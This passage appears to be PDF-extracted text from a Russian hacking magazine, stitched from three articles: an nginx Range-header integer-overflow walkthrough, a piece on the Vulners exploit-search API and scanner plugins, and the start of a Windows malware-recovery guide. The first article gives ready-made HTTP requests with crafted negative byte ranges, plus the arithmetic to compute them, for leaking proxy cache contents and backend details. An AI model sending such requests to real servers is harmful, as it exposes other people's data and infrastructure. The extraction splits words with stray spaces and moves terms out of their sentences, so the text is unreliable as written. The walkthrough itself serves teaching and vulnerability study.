273:     off_t                         start, end, size, conten
t_length, cutoff,
274:                                   cutlim;

По ману алу  , тип   — это целое со зна ком, и его диапа‐ 

зон  зна чений  зависит  от  сис темы  и  нас тро ек  ком пиляции.  Если  исходни ки

ском пилиро ваны  с  фла гом  ,  то  раз мер

равен 64 бит. C nginx как раз такая исто рия.

The GNU C Library off_t

_FILE_OFFSET_BITS  ==  64

По луча ется,  что  мак сималь ное  положи тель ное  зна чение,  которое  может

быть у перемен ных, — это  , так как пос ледний бит отве‐ 

чает за знак.

0x7fffffffffffffff

Мак сималь ное положи тель ное зна чение типа off_t

Ис поль зуя это зна ние, мы можем обой ти про вер ку  .

Так как общий раз мер счи тает ся исхо дя из всех передан ных в Range диапа‐ 

зонов,  в пер вом диапа зоне мы  ука жем отри цатель ное зна чение,  с  которо го

сле дует начать читать дан ные. Во вто ром диапа зоне мы переда дим боль шое

отри цатель ное зна чение, которое при вычита нии пре высит допус тимые зна‐ 

чения  типа    и  ста нет  положи тель ным,  но  мень ше  пол ного  раз мера

докумен та. Спо кой но, сей час на при мере все ста нет понят но! :‐)

size > content_length

off_t

До пус тим, мы хотим начать читать с бай та ‐7000. Общий раз мер докумен‐ 

та  равен  942  байт.  При  прос том  зап росе    получа ется

сле дующая кар тина.

Range:  bytes=‐7000

Зап рос с одним отри цатель ным диапа зоном в Range

...
while (*p >= '0' && *p <= '9') {
   ...
   end = end * 10 + *p++ ‐ '0';
} # end = 7000
...
   start = content_length ‐ end; # start = 942 ‐ 7000 = ‐6058
   end = content_length ‐ 1; # end = 942 ‐ 1 = 941
...
if (end >= content_length) {
   end = content_length;
} else {
   end++;
} # end = 942
...
if (start < end) { # ‐6058 < 942 == True
   ...
   size += end ‐ start; # size = 0 + ( 942 ‐ (‐6058) ) = 7000
...
if (size > content_length) { # 7000 > 942 == True
   return NGX_DECLINED;
}
...

Пос леднее усло вие истинно — раз мер воз вра щаемых дан ных не может быть

боль ше  обще го  раз мера  докумен та.  Поэто му  хидер  игно риру ется  и  сер вер

воз вра щает все дан ные. Что бы это го избе жать, нам нуж но добавить вто рой

диапа зон, и выб рать его сле дует таким, что бы при выпол нении он пре высил

допус тимое зна чение перемен ной  .size
  —  это  наимень шее  отри цатель ное  зна чение,

которое  воз можно  ука зать,  исполь зуя  тип  .  Что бы  оно  получи лось

при  вычис лении,  нуж но  про делать  обратную  про цеду ру  и  при бавить  к  нему

зна чение, с которо го мы хотим начать читать дан ные. В нашем слу чае:

0x8000000000000000
off_t

0x8000000000000000 + (‐7000) = 9223372036854768808

Вы чис ляем вто рой диапа зон для отправ ки в заголов ке Range

От прав ляем зап рос:

GET / HTTP/1.1
Host: nginx.visualhack
Range: bytes=‐7000,‐9223372036854768808

Пер вый диапа зон мы уже рас смот рели, теперь пос мотрим по шагам, что про‐ 

исхо дит при пар синге вто рого.

...
while (*p >= '0' && *p <= '9') {
   ...
   end = end * 10 + *p++ ‐ '0';
} # end = 9223372036854768808
...
   start = content_length ‐ end; # start = 942 ‐ 922337203685476
8808 = ‐9223372036854767866
   end = content_length ‐ 1; # end = 942 ‐ 1 = 941
...
if (end >= content_length) {
   end = content_length;
} else {
   end++;
} # end = 942
...
if (start < end) { # ‐9223372036854767866 < 942 == True
   ...
   size += end ‐ start; # size = 7000(значение от первого 
диапазона) + ( 942 ‐ (‐9223372036854767866) ) = ‐922337203685477
5808 (0x8000000000000000)
...
if (size > content_length) { # ‐9223372036854775808 > 942 == False
   return NGX_DECLINED;
}
...

От прав ка зап роса, который вызыва ет перепол нение

В  ито ге  вто рой  рей ндж  прев раща ется  в  тык ву,  а  мы  получа ем  выбор ку,

которая  начина ется  с  ука зан ного  нами  пер вого  диапа зона  минус  раз мер

докумен та, то есть  .‐6058‐941/942

Proof of concept
Ду маю,  ты  зна ешь,  что  nginx  мож но  исполь зовать  как  кеширу ющий  прок‐ 

си‐сер вер. Имен но на эту роль он нас тро ен в нашем подопыт ном докер‐кон‐ 

тей нере.

/etc/nginx/conf.d/default.conf
12:     location ^~ /proxy/ {
13:             proxy_pass http://127.0.0.1:8080/;
14:             proxy_set_header HOST $host;
15:             proxy_cache my_zone;
16:             add_header X‐Proxy‐Cache $upstream_cache_status;
17:             proxy_ignore_headers Set‐Cookie;
18:     }

Все зап росы к   ведут к локаль ному сер веру Apache и кеширу ются./proxy/

/etc/nginx/nginx.conf
27:     proxy_cache_key "$scheme$request_method$host$request_uri";
28:     proxy_cache_path /tmp/nginx levels=1:2 keys_zone=my_zone:10m;
29:     proxy_cache_valid 200 10m;

Кеш‐фай лы  скла дыва ются  в  дирек торию  .  Для  фор мирова ния

путей  и  имен  фай лов  исполь зуют ся  перемен ные,  ука зан ные  в  дирек тиве

.  Сде лаем  зап рос  к  кар тинке    и  пос‐ 

мотрим на сге нери рован ный кеш‐файл.

/tmp/nginx

proxy_cache_key /proxy/demo.png

Кеш‐файл, соз данный пос ле зап роса

Как  видишь,  в  фай ле  сох раня ется  спе циаль ный  хидер  плюс  ори гиналь ный

ответ  от  Apache.  Вот  эти  дан ные  мы  и  смо жем  получить,  исполь зуя  багу

с  перепол нени ем.  Что бы  это  про вер нуть,  нуж но  взять  зна чение  заведо мо

боль ше  раз мера  воз вра щаемо го  сер вером  докумен та  (он  ука зан  в  хидере

), но мень ше раз мера кеш‐фай ла. В нашем слу чае диапа зон

зна чений дол жен быть боль ше 16 585, но мень ше 17 217.

Content‐Length

Те перь, исполь зуя получен ные ранее зна ния, выс читыва ем вто рой диапа‐ 

зон:  .  Встав ляем

получен ные диапа зоны в пакет и отправ ляем его.

0х8000000000000000  ‐  17217  =  9223372036854758591

GET /proxy/demo.png HTTP/1.1
Host: nginx.visualhack
Range: bytes=‐17217,‐9223372036854758591

Чи таем кеш через уяз вимость в перепол нении

Ву аля! Мы  получи ли  пол ное  содер жимое  кеш‐фай ла,  вклю чая  хидер  и  ори‐ 

гиналь ный  зап рос  к  сер веру  за  прок си.  Теперь  мы  можем  узна вать,  какое

при ложе ние находит ся за прок си и, если повезет, его IP.

Ра зуме ется,  сущес тву ет  пароч ка  экс пло итов  для  этой  баги,  которые  всё

дела ют на авто мате. Нап ример,  .вер сия авторс тва nixawk

Так же  рекомен дую  заг лянуть  в  ,  который  исправ ляет  уяз вимость,

и пос мотреть, как он сде лан. Может быть, имен но ты най дешь бай пас!

патч

ЭКСПЛУАТИРУЕМ УЯЗВИМОСТЬ (ВИДЕО)

ВЫВОДЫ
Ре зуль тат,  как я и пре дуп реждал, невели кий. Но разоб рать ся во внут ренней

кух не  при ложе ния  никог да  лиш ним  не  быва ет.  В  реаль ных  про ектах  поч ти

никог да не получа ется так, что най ден ная уяз вимость в один зап рос дает при‐ 

виле гии  супер поль зовате ля  на  уда лен ной  машине.  Чаще  все го  при ходит ся

по кру пицам собирать дан ные о сис темах и с этой информа цией про бирать ся

к инте рес ным целям. Воз можно, эта уяз вимость будет одним из звень ев той

цепоч ки,  что  при ведет  тебя  к  новому  спо собу  экс плу ата ции  ста рых,  уже

запат ченных уяз вимос тей.

http://www.gnu.org/software/libc/manual/html_mono/libc.html#index-off_005ft
https://github.com/nixawk/labs/issues/15
https://github.com/nginx/nginx/compare/release-1.13.2...release-1.13.3#diff-27f35111d2d4bec8c255d8992843f89f
https://vimeo.com/239790933
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ВЗЛОМ

Про ект  Vulners  за  пару  лет  прев ратил ся  из  агре гато ра  дан‐ 
ных о багах в доволь но популяр ный инс тру мент пен тесте ра.
Это  уже  пол ноцен ный  тул кит  для  поис ка  экс пло итов,  API
для  Python,  пла гины  для  Burp  Suite  и  Chrome,  сер верный
агент. Vulners удоб но встра ивает ся в сце нарии атак, на нем
пишут  ска неры  уяз вимос тей.  В  этой  статье  мы  пос мотрим,
что  может  пред ложить  Vulners,  а  так же  научим ся  исполь‐ 
зовать всю мощь его Python API в пов седнев ных задачах.

Ес ли  ты  до  это го  не  стал кивал ся  с  Vulners,
почитай  . Она даст базовое понима ние,
о чем вооб ще речь и зачем нужен Vulners.

эту статью

Так же  пос мотри    о  кон соль ной
тул зе  для  поис ка  спло итов  getsploit. Мы же  зай‐ 
мем ся  более  низ коуров невым  жон гли рова нием
API из Python.

этот  матери ал

ИЩЕМ СПЛОИТЫ ИЗ PYTHON
Чем даль ше раз вивал ся  , тем боль ше мы получа ли писем с прось бами
дать опи сание нашего API.

Vulners

Ко неч но,  начали  мы  с  самого  прос того —  сде лали  .  Но  вско ре
замети ли,  что  даже  мы  сами,  исполь зуя  свой  API,  изоб рета ем  велоси педы
по два раза  в  день.  Каж дый раз работ чик  внут ри про екта  соз дал  свой  врап‐ 
пер,  что бы обра щать ся  к Vulners из сво их  ути лит. В  кон це кон цов нас самих
дос тал  такой  зоопарк,  и  мы  решили  уни фици ровать  работу  с  API  хотя  бы
для Python. Вот так и появил ся пуб личный питоний API.

Swagger

Без ТЗ резуль тат ХЗ
Для начала мы соб рали ста тис тику обра щений  к API  и  выяс нили,  что  самые
час то зап рашива емые фун кции — это:

по иск;•
зап росы на выг рузку кол лекций для локаль ного исполь зования;•
по пыт ки исполь зовать API от  ;• Vulners Burp Scanner Plugin
пе реис поль зование вызовов ути литы  .• getsploit

Ну что же, какие вызовы надо реали зовать в будущем врап пере, ста ло понят‐ 
но. Но ведь поль зовате ли Python‐биб лиотек сов сем не хотят раз бирать ся, что
в  какой  параметр  отправ ляет ся  (для  это го  API‐либа  и  нуж на).  Так  что
основная  задача  —  сде лать  API  удоб ным  и  прос тым.  Вре мя  прог рамми‐ 
ровать!

Как устро ена либа для питонь его поис ка
Как и в любом врап пере, начали мы с велоси педа — сде лали прос тую обер‐ 
тку на базе   для того, что бы обра щать ся к JSON API.requests

Тут  все прос то:  соз дает ся opener,  который потом обра баты вает  все зап‐ 
росы  тво его  при ложе ния  в  рам ках  одной  сес сии.  И  сюда  же  вынесе ны
основные URL, что бы мож но было потом добав лять новые пути для зап росов.

class Vulners(object):
   def __init__(self, proxies=None):
       """
       Set default URLs and create session object
       :param proxies: {} dict for proxy supporting. Example: {
"https": "myproxy.com:3128"}
       """
       # Default URL's for the Vulners API
       self.__vulners_urls = {
           'search':       "https://vulners.com/api/v3/search/
lucene/",
           'software':     "https://vulners.com/api/v3/burp/
software/",
           'id':           "https://vulners.com/api/v3/search/id/",
           'suggest':      "https://vulners.com/api/v3/search/
suggest/",
           'ai':           "https://vulners.com/api/v3/ai/scoretext/
",
           'archive':      "https://vulners.com/api/v3/archive/
collection/"
       }
       # Default search parameters
       self.__search_size = 100
       # Requests opener
       self.__opener = requests.session()
       self.__opener.headers = {'User‐Agent': 'Vulners Python API %
s' % api_version}
       if proxies is not None:
           if not isinstance(proxies, dict):
               raise TypeError("Proxies must be a dict type")
           self.__opener.proxies.update(proxies)

Вто рым  «под капот ным»  помощ ником  ста ли  обер тки  для  ини циации  GET‐
и  POST‐зап росов.  Они  прос то  переки дыва ют  передан ный  dict  по  URL
из спис ка, опре делен ного в init.

Пос ле получе ния резуль тата фун кция adapt_response_content или воз вра‐ 
щает dict,  сфор мирован ный из  JSON‐отве та сер вера, или отда ет его в  raw‐
виде в слу чае не JSON‐отве та.

def __vulners_get_request(self, vulners_url_key, json_parameters):
   """
   Tech wrapper for the unified
   :param vulners_url_key: Key for the self.vulners_urls dict
   :param json_parameters: {} dict for the API call
   :return: 'data' key from the response
   """
   # Return result
   response = self.__opener.get(self.__vulners_urls[vulners_url_key]
, params=json_parameters)
   return self.__adapt_response_content(response)
def __vulners_post_request(self, vulners_url_key, json_parameters):
   """
   Tech wrapper for the unified
   :param vulners_url_key: Key for the self.vulners_urls dict
   :param json_parameters: {} dict for the API call
   :return: 'data' key from the response
   """
   # Return result
   response = self.__opener.post(self.__vulners_urls[vulners_url_key
], json=json_parameters)
   return self.__adapt_response_content(response)

Ты спро сишь: раз ве это луч ше, чем самому дер гать питоний  requests? Ведь
с такими вызова ми все еще не разоб рать ся без зна ния API Vulners. И будешь
прав.  Поэто му  мы  сде лали  пуб личные  вызовы‐обер тки,  которые  реали зуют
фун кци ональ ность Vulners без лиш них при седа ний.

Вот,  нап ример,  как  выг лядит  поиск  уяз вимос тей  по  .  И  поль‐ 
зовате лю абсо лют но не нуж но знать, что и куда потом рас кла дыва ется в зап‐ 
росе и в каком виде надо подавать парамет ры.

CPE‐стро ке

def cpeVulnerabilities(self, cpeString):
     """
     Find software vulnerabilities using CPE string. See CPE refere
nces at https://cpe.mitre.org/specification/
     :param cpe: CPE software string, see https://cpe.mitre.org/
specification/
     :return: {merged by family dict}
     """
     dataDocs = {}
     if len(cpeString.split(":")) <= 4:
         raise ValueError("Malformed CPE string. Please, refer to 
the https://cpe.mitre.org/specification/. Awaiting like 'cpe:/a:
cybozu:garoon:4.2.1'")
     version = cpeString.split(":")[4]
     results = self.__burpSoftware(cpeString, version, type='cpe')
     for element in results.get('search'):
         elementData = element.get('_source')
         dataDocs[elementData.get('bulletinFamily')] = dataDocs.get(
elementData.get('bulletinFamily'), []) + [elementData]
     return dataDocs

Со ответс твен но, орга низа ция кода внут ри биб лиоте ки получи лась дос таточ‐ 
но проз рачной.

Все методы,  дос тупные без  двой ного  под черки вания,  пуб личные и  орга‐ 
низу ют  зап росы  на  внут ренние  реали зации  методов,  которые  фор миру ют
необ ходимые зап росы к API и обес печива ют про вер ку типиза ции и кон тента.

As easy as «pip install vulners»
Но ведь что там под капотом у нас, как это работа ет, обыч но никому не инте‐ 
рес но! Биб лиоте ка дол жна дать резуль тат — удоб ные и прак тичные вызовы,
которые реша ют пос тавлен ные задачи: ищут спло иты и инфу об уяз вимос тях.
Для того что бы тебе не приш лось ста вить ее руками с GitHub, мы помес тили
ее в  .ре пози торий PyPI

Ста вим:

pip install ‐U vulners

И импорти руем биб лиоте ку в сво ем коде:

import vulners
vulners_api = vulners.Vulners()

Вот и все, что тебе понадо бит ся для исполь зования Vulners API. Теперь мож‐ 
но поп робовать решить твои задачи, исполь зуя этот инс тру мент.

Про буем искать
Что же он уме ет в ито ге? Давай про бежим ся по фун кци ям и при мерам кода
на Python.
•   даст  воз можность  поис кать  в  базе  точ но  так  же,
как сде лано в web‐вер сии.
vulners_api.search

heartbleed_related = vulners_api.search("heartbleed", limit=10)

•   поз воля ет  най ти  кон крет ную  CVE  или  advisory
по ее иден тифика тору.
vulners_api.document

CVE_2017_14174 = vulners_api.document("CVE‐2017‐14174")

•  дела ет поиск толь ко по кол лекци ям экс пло‐ 
итов (Exploit‐DB, Packet Storm, Seebug и дру гим).
vulners_api.searchExploit

wordpress_exploits = vulners_api.searchExploit("wordpress 4.7.0")

•  по передан ному наз ванию ПО и
его вер сии воз вра щает спи сок уяз вимос тей.
vulners_api.softwareVulnerabilities

results = vulners_api.softwareVulnerabilities("httpd", "1.5")
exploit_list = results.get('exploit')
vulnerabilities_list = [results.get(key) for key in results if key
 not in ['info', 'blog', 'bugbounty']]

•  — очень полез ная шту ка для интегра‐ 
ции, нап ример, с Nessus — по CPE‐стро ке тво его ПО воз вра щает спи сок
CVE, которые зат рагива ют этот про дукт.

vulners_api.cpeVulnerabilities

cpe_results = vulners_api.cpeVulnerabilities("cpe:/a:cybozu:
garoon:4.2.1")
cpe_exploit_list = cpe_results.get('exploit')
cpe_vulnerabilities_list = [cpe_results.get(key) for key in cpe_re
sults if key not in ['info', 'blog', 'bugbounty']]

•   воз вра щает  свя зи  и  зависи мос ти  докумен тов
в базе дан ных. Зачем? Ког да нуж но, нап ример, по CVE най ти патч для кон‐ 
крет ной ОС.

vulners_api.references

references = vulners_api.references("CVE‐2014‐0160")

•   поз воля ет  сде лать  оцен ку  опи сания  уяз вимос ти,
исполь зуя нашу  .
vulners_api.aiScore

ней росеть Vulners AI

text_ai_score = vulners_api.aiScore("My cool vulnerability descri
ption")

•  — самый глав ный метод для любите лей локаль ной
обра бот ки  дан ных.  Он  выг ружа ет  весь  кон тент  нуж ной  кол лекции
для локаль ного исполь зования.

vulners_api.archive

all_cve = vulners_api.archive("cve")

Та кая  обвязка  фун кци ональ нос ти  «Вуль нер са»  поз воля ет  соз давать
как самодель ные ска неры уяз вимос тей, так и любые дру гие про екты, где тебе
нуж но  работать  с  дан ными  об  уяз вимос тях  или  иным  security  related  кон‐ 
тентом.

Ти повой ответ сер вера на зап рос об уяз вимос тях

Сле дующий ход — твой! Соз давай клас сный софт, исполь зуй API для решения
сво их пов седнев ных задач авто мати зации. Наде юсь, наша биб лиоте ка будет
тебе полез на.

Не дав но мы рас ска зыва ли  , который поз воля ет бук‐ 
валь но за пару секунд про верить свой хост на наличие уяз вимос тей.

о мини‐ска нере для Linux

Ска нер пред став ляет собой скрипт на Python, который пос ле запус ка счи‐ 
тыва ет  уста нов ленные  пакеты,  отправ ляет  это  на  сайт  Vulners  и  в  ответ
получа ет  спи сок  уяз вимос тей.  Скрипт  отлично  под ходит  для  разовых  опе‐ 
раций, но, если необ ходимо пос тоян но сле дить за сос тоянием пат чей на сер‐ 
верах, осо бен но ког да счет идет на сот ни, тре бует ся решение дру гого уров‐ 
ня.

Ча ще  все го  адми нис тра торы  выбира ют  инс тру мент  наподо бие
Nessus/OpenVAS. Но с этим воз ника ет ряд проб лем: нуж но соз давать учет ную
запись  для  ска ниро вания,  откры вать  сетевые  дос тупы  и  про чее.  При  этом
зачас тую  внед рение  таких  сис тем  защиты  может  сыг рать  отри цатель ную
роль — сер вер для ска ниро вания будут исполь зовать для про веде ния самой
ата ки,  за  счет  учет ной  записи  и  сетевых  дос тупов.  Поэто му  исполь зование
локаль ного аген та — чаще все го более оправдан ный выбор. Имен но так воз‐ 
ник ска нер (агент) Vulners.

Ста вим ска нер на сер вере:
1. Под клю чи репози торий — при меры для Debian или Red Hat  .есть на GitHub
2. Ус танови  пакет  vulners‐agent  с  помощью  пакет ного  менед жера  сво его
дис три ба.

3. Про пиши  ключ  регис тра ции  в  кон фиге.  Его  мож но  бес плат но  получить
на сай те,  .в раз деле userinfo

Скрипт аген та про писы вает ся в crontab и запус кает ся раз в два часа. Вре мя
работы  скрип та  сос тавля ет  все го  пару  секунд,  поэто му  при  необ ходимос ти
мож но запус кать его и чаще.

Кор невое отли чие от похожих ска неров — для запус ка не тре бует ся при виле‐ 
гий root, скрипт запус кает ся от учет ной записи nobody. Сам скрипт занима ет
бук валь но  500  стро чек  кода,  поэто му мож но  доволь но  быс тро  его  вычитать
и убе дить ся, что нет каких‐то зак ладок.

При  пер вом  запус ке  зарегис три рует ся  агент,  так же  про пишут ся  допол‐ 
нитель ные парамет ры в нас трой ках — такие как  IP‐адрес машины и ее имя.
Ведь  резуль тат  ана лиза  нуж но  как‐то  смот реть  и  отли чать  один  сер вер
от дру гого. Делать это толь ко на осно ве внеш него  IP‐адре са в боль шинс тве
слу чаев невоз можно.

Но  если  ты  не  хочешь,  что бы  нас тоящий  IP‐адрес  и  имя  сер вера  отда‐ 
вались  наружу,  есть  воз можность  уста новить фей ковые  парамет ры  вруч ную
в кон фигура цион ном фай ле. Для это го в 
нуж но  задать  зна чения парамет ров  ipaddr  и  fqdn. Пос ле  всех  этих  дей ствий
резуль тат  ска ниро вания мож но будет  пос мотреть  в  веб‐интерфей се,  с  раз‐ 
личной груп пиров кой и филь тра ми.

/opt/vulners/conf/vulners.conf

От чет аген та об уяз вимос тях на тво ем сер вере

Агент  поз воля ет  решить  проб лему  патч‐менед жмен та  за  счи таные  минуты,
при этом он бес плат ный.

ПЛАГИН ДЛЯ BURP SUITE
Burp  Suite  дав но  зареко мен довал  себя  сре ди  безопас ников  и  иссле дова‐ 
телей как уни вер саль ный швей цар ский нож, сочета ющий воз можнос ти прок‐ 
си, ска нера перимет ра, фаз зера и прос то HTTP‐кли ента.

При пен тесте час то при ходит ся авто мати зиро вать поиск оши бок, вос про‐ 
изво дя  спе цифич ные  для  кон крет ного  web‐при ложе ния  век торы  (CSRF‐
токены,  auth‐токены),  а  иног да  хочет ся  искать  и  све жеопуб ликован ные  уяз‐ 
вимос ти сис тем, пла гины и экс пло иты для которых появ ляют ся не сра зу, даже
в боль ших ска нерах типа Nessus.

За чем нужен пла гин
Один из вари антов понять, что сис тема потен циаль но уяз вима, — пос мотреть
вер сию  соф та,  на  котором  кру тит ся  эта  сис тема:  веб‐сер вер,  язык,  фрей‐ 
мворк. В веб‐при ложе ниях подоб ные фин гер прин ты лежат пря мо в заголов‐ 
ках или теле отве та сер вера.

За голов ки и тело отве та сер вера

Все  пре дель но  прос то  —  X‐Софт:  v.Вер сия.  Что бы  авто мати зиро вать  сбор
таких  дан ных,  в  BApp  Store  уже  есть  пла гин  .  Он
в пас сивном режиме смот рит отве ты от сер вера и пар сит отпе чат ки при ложе‐ 
ний по заранее получен ным регуляр кам.

Software  Version  Reporter

Даль ше, зная вер сию соф та, мож но поп робовать поис кать извес тные уяз‐ 
вимос ти и экс пло иты под нее.

Ищем информа цию об уяз вимос тях

Ав томати зируй это!
По иск по фин гер прин там может быть эффектив ным под ходом для обна руже‐ 
ния багов, но копиро вать вер сии ПО и забивать их в «Вуль нерс» каж дый раз
может ока зать ся уто митель но.

Мы  написа ли  API  и  пла гин  для  Burp  Suite  ,
который сам дам пит фин гер прин ты ата куемо го сай та и про гоня ет их по базе
Vulners. API при нима ет на вход два вари анта полез ной наг рузки:

Software  Vulnerability  Scanner

Software + Version

{"software":"httpd","version":"2.4.23","type":"software"}

CPE (Common Platform Enumeration)

{"software":"cpe:/a:php:php","version":"5.6.27","type":"cpe"}

Зап росы  совер шают ся  на  URL 
.  Конеч‐ 

ный зап рос может выг лядеть так:

https://vulners.com/api/v3/burp/soft‐
ware/?utm_source=xakep&utm_medium=xtools&utm_campaign=scan

POST /api/v3/burp/software/?utm_source=xakep&utm_medium=xtools&utm_ca
mpaign=scan HTTP/1.1
Host: vulners.com
content‐type: application/json
Content‐Length: 66
{"software": "cpe:/a:php:php", "version": "5.6.31", "type": "cpe"}

В ответ получа ем спи сок уяз вимос тей и экс пло итов в стан дар тном фор мате
Vulners.

Спи сок получен ных уяз вимос тей

Как задетек тить все
Для  луч шего  фин гер прин тинга  мы  вынес ли  пра вила  детек та 

, который пос тоян но напол няет ся новыми пра вила ми.
в  отдель ный

репози торий
Каж дое пра вило содер жит в себе:

 — тип детек та, фор мализо ван ный под наибо лее эффектив ный поиск
в базе   либо  ;

• type
cpe software
 — уни каль ное имя для детек тиру емо го ПО;• alias
 — само регуляр ное выраже ние, по которо му будем находить ПО.• regexp

Кста ти, пра вила детек та откры ты для кон трибь юто ров на Гит хабе, при соеди‐ 
няй ся!

Пла гин может стать полез ным инс тру мен том для пер воначаль ного иссле‐ 
дова ния при ложе ния. Он поз воля ет изба вить ся от рутины,  авто мати зиро вав
выяв ление уяз вимых ком понен тов сис темы.

А иног да может прос то при ятно  уди вить,  если  ты  все го  лишь бороз дишь
прос торы интерне та с вклю чен ным Burp‐proxy. ;)

Ре аль ный при мер исполь зования пла гина

Наш  пла гин 
для Burp Suite.

Software  Vulnerability  Scanner

Ес ли у тебя нет лицен зии на Burp, но ты хотел бы поп робовать, как работа ет
ска нер, — мы  написа ли  .  Пла гин  исполь зует  абсо‐ 
лют но те же методы API и пра вила детек та, что и вер сия для Burp.

рас ширение  для  Chrome

Пла гин для «Хро ма» сиг налит об уяз вимом ПО

OUTRO
Vulners  —  уже  не  прос то  пар сер  с  поис ком.  Каж дый  день  он  обраста ет
новыми фичами и сво ей эко сис темой. Наши ути литы — это все го лишь при‐ 
мер  того,  как  мож но  исполь зовать  потен циал  базы  уяз вимос тей.  Но  может
быть,  ты  при дума ешь  что‐то  более  кру тое?  Так  что  welcome,  про буй.  И  не
забывай  !пи сать о глю ках и улуч шени ях

https://xakep.ru/2016/07/08/vulners/
https://habrahabr.ru/post/333808/
https://vulners.com/
https://vulners.com/docs
https://portswigger.net/bappstore/bapps/details/c9fb79369b56407792a7104e3c4352fb
https://github.com/vulnersCom/getsploit
https://pypi.python.org/pypi/requests
https://cpe.mitre.org/specification/
https://pypi.python.org/pypi/vulners/1.0
https://vulners.com/ai
https://github.com/vulnersCom/vulners-scanner
https://github.com/vulnersCom/vulners-agent
https://vulners.com/userinfo
https://portswigger.net/bappstore/ae62baff8fa24150991bad5eaf6d4d38
https://portswigger.net/bappstore/c9fb79369b56407792a7104e3c4352fb
https://github.com/vulnersCom/detect-rules
https://vimeo.com/225078901
https://portswigger.net/bappstore/bapps/details/c9fb79369b56407792a7104e3c4352fb
https://chrome.google.com/webstore/detail/vulners-web-scanner/dgdelbjijbkahooafjfnonijppnffhmd?utm_source=chrome-ntp-icon
mailto:support@vulners.com
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КАК ВОССТАНОВИТЬ СИСТЕМУ ПОСЛЕ ПОБЕДЫ •

Иван Пискунов

MALWARE

На  воп рос  «Какой  анти вирус  вы  исполь зуете  на  сво ей  вин‐ 
довой  машине?»  мно гие  безопас ники  (в  том  чис ле  и  сот‐ 
рудни ки  нашей  редак ции)  отве чают  прос то:  никакой.  Ког да
эпи демии в сот ни  тысяч заражен ных компь юте ров раз гора‐ 
ются, нев зирая на все самые передо вые тех нологии сис тем
защиты,  а  анти виру сы  в  наших  тес тах  показы вают  сом‐ 
нитель ные резуль таты, об отка зе от анти виру са впол не сто ит
подумать.

План статьи будет таков: как локали зовать заразу, если она все‐таки про ник‐ 
ла на твою машину, как победить рут киты и как вос ста новить сис тему пос ле
зараже ния, если все заш ло слиш ком далеко. В кон це статьи мы дадим нес‐ 
коль ко  баналь ных,  но  по‐преж нему  акту аль ных  советов  о  том,  как  избе жать
зараже ния (с дру гой сто роны, как мож но называть баналь ными советы, соб‐ 
людение которых сни зило бы количес тво заражен ных машин Сети в десят ки
раз?).

Мы  вов се  не  нас таиваем  на  сно се  тво его
любимо го  Internet  security,  но  про читать  статью
« »  и  советы  из  это го
матери ала очень рекомен дуем.
На  мал варь  без  анти виру са

ЧТО ДЕЛАТЬ В СЛУЧАЕ ЗАРАЖЕНИЯ?

Итак, если у тебя есть подоз рение на то, что машина инфи циро вана, в пер вую
оче редь ты дол жен выпол нить нес коль ко дей ствий:

от клю чить хост от сети (вытащить UTP‐кабель, погасить Wi‐Fi);•
вы нуть из пор тов все внеш ние девай сы (HDD‐ и USB‐устрой ства, телефо‐ 
ны и про чее).

•

Все эти дей ствия свя заны с необ ходимостью изо лиро вать нашего паци ента
от внеш него мира. Отклю чать хост нуж но обя затель но и от дос тупа во внеш‐ 
ний мир через интернет и локал ку, пос коль ку мал варь прак тичес ки со стоп‐ 
роцен тной  веро ятностью будет  пытать ся  себя рас простра нить  на  весь  дос‐ 
тупный  ей  сег мент.  К  тому  же  если  злов ред  явля ется  частью 
или содер жит ком понен ты  , то он может без дей ство вать до того момен та,
как пос тупит  управля ющая  коман да с    из  внеш ней сети.  Так же
это  стра хует  нас  и  от  утеч ки  локаль ных  дан ных  во  внеш ний  мир,  к  при меру
через   или подоб ные хакер ские фичи. Сле дуя этой же
логике, рекомен дуют как мож но ско рее вытащить все под клю чен ные к паци‐ 
енту девай сы: к при меру, если это вирус‐шиф роваль щик, то он может прос то
не успеть доб рать ся до дан ных на внеш них HDD и USB‐флеш ках.

бот нет‐сети
RAT

C&C‐сер вера

DNS‐тун нелиро ван ные

Хар дкор ным  читате лям  совету ем  про честь  наш
цикл  ста тей  про  .  Мал варь
в  руках  хакера,  воору жен ного  стать ями  из  это го
цик ла,  пожале ет  о  том,  что  появи лась  из‐под
пера вир мей кера. :)

ре вер синг  мал вари

Ты  можешь  еще  услы шать  совет  сра зу  вык лючить  заражен ный  компь ютер.
Здесь  неод нознач но.  С  одной  сто роны,  это  может  при оста новить  раз‐ 
рушитель ные дей ствия злов реда. Но есть и риск того, что пос ле вык лючения
в сле дующий раз ОС боль ше вооб ще не заг рузит ся, а дан ные на вин тах пот‐ 
рутся.  Поэто му  дей ство вать  нуж но  по  обсто ятель ствам,  мно гое  зависит
от того, какая имен но мал варь была запуще на и какие цели она прес леду ет.
Ниже при рас смот рении кей сов мы рас ска жем и о пер вой, и о вто рой ситу‐ 
ации.

Ну  и  конеч но,  для  успешной  борь бы  с  мал варью  и  вос ста нов ления  сис‐ 
темы у тебя дол жны быть при виле гии адми нис тра тив ной учет ной записи, так
как  мно гие  дей ствия  (манипу ляции  с  сис темны ми  фай лами,  оста нов ка
и переза пуск сетевых служб, вос ста нов ление реес тра, изме нение кон фигура‐ 
ции заг рузчи ка и тому подоб ное) пот ребу ют от нас всей пол ноты прав на сис‐ 
тему. :)

Не вер ные и неос мыслен ные дей ствия могут при‐ 
вес ти  к  наруше нию  нор маль ной  работы  ОС,
ПО или  к  потере  дан ных. Ни  автор,  ни  редак ция
не несут ответс твен ности за ущерб, при чинен ный
неп равиль ным  исполь зовани ем  матери алов  дан‐ 
ной  статьи.  Выпол няй  толь ко  те  дей ствия,  суть
и зна чение которых ты осоз наешь.

ПОИСК ПРОЦЕССОВ И ОБЕЗВРЕЖИВАНИЕ МАЛВАРИ В ПАМЯТИ

Лю бая  мал варь,  что бы  выпол нять  свои  дей ствия,  дол жна  быть  запуще на
в  опе ратив ной  памяти.  И  неваж но,  как  имен но  бинар ный  код  был  заг ружен
в RAM — из  exe‐фай ла,  вло жен ного  в  пись мо,  скрип та  из  инфи циро ван ной
HTML‐стра нич ки или был соб ран толь ко из сетевых пакетов, как нашумев ший
в начале 2000‐х годов бес телес ный червь  , поразив ший тысячи сер‐ 
веров  за  нес коль ко  десят ков  минут.  Поэто му  клю чевой  задачей  на  пер вом
эта пе  ста новит ся  поиск  и  иден тифика ция  про цес са  злов реда  в  памяти.
И  стан дар тный  менед жер  задач  Windows  тут  нам  не  помощ ник.  Почему?
Да потому,  что даже начина ющий  кодер на Delphi может исполь зовать фун‐ 
кции, поз воля ющие   штат ного Task Manager’а
запущен ный про цесс. Я еще мол чу о том, что злов ред может содер жать 

